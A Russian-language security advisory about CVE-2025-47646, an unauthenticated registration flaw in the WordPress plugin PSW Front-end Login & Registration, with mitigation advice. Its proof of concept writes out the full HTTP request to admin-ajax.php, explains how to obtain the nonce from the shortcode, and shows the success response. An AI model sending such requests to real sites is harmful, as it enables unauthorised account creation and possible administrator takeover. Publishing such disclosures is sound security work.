🔐 CVE-2025-47646 – PSW Front-end Login & Registration <= 1.12

📌 Информация о плагине

• Плагин: PSW Front-end Login & Registration
• Уязвимая версия: <= 1.12
• CVE: CVE-2025-47646
• Критичность: Высокая (CVSS 9.8)
• Тип уязвимости: Нарушение аутентификации
• Требуемые привилегии: Без аутентификации
• Исправлено: ❌ Официальное исправление недоступно
• Приоритет исправления: 🔴 Высокий
• Дата публикации: 8 мая 2025

⚠️ Краткое описание уязвимости

Этот плагин раскрывает критический недостаток в своём механизме регистрации.
Несмотря на предоставление формы регистрации на основе шорткода ([psw_registration]), он не обеспечивает надлежащих ограничений ролей или безопасной проверки.

Злоумышленники могут использовать этот механизм для создания учётных записей без аутентификации — и если default_role сайта настроен неправильно (например, установлен как administrator), может произойти полное повышение привилегий.

🧪 Доказательство концепции (PoC)

✅ Целевая конечная точка:

POST /wordpress/wp-admin/admin-ajax.php

📥 Запрос (например, через Burp Suite или curl):

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: {Host}

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 233

Origin: {Host}

Connection: keep-alive

Cookie:

Priority: u=0



first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d

psw_form — это поле nonce, необходимое для прохождения запроса.
Этот nonce динамически генерируется из шорткода [psw_registration] на фронтенде.

✅ Успешный ответ

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>

🛠️ В чём недостаток?

• Плагин разрешает неаутентифицированный AJAX-доступ к register_user_front_end
• Он учитывает настройку default_role в WordPress для назначения ролей пользователям
• Если она настроена неправильно (administrator), злоумышленник получает полный доступ
• В логике плагина нет жёстко заданного контроля ролей или проверки

💬 Пояснение шорткода

Чтобы отобразить форму регистрации и сгенерировать действительный nonce для psw_form, используется следующий шорткод:

[psw_registration]

Это отображает форму регистрации, содержащую скрытое поле nonce, необходимое для успешного выполнения AJAX-запроса.

🔐 Рекомендации

• Ограничьте неаутентифицированную AJAX-регистрацию
• Выполняйте назначение ролей на стороне сервера
• Отслеживайте и зафиксируйте default_role на безопасном значении (например, subscriber)
• Примените виртуальный патч, если обновление недоступно

⚠️ Отказ от ответственности

Этот отчёт предназначен только для образовательных целей и авторизованного тестирования безопасности.
Эксплуатация этой уязвимости без разрешения может нарушать правовые и этические границы.

NXploited (Khaled_Alenazi)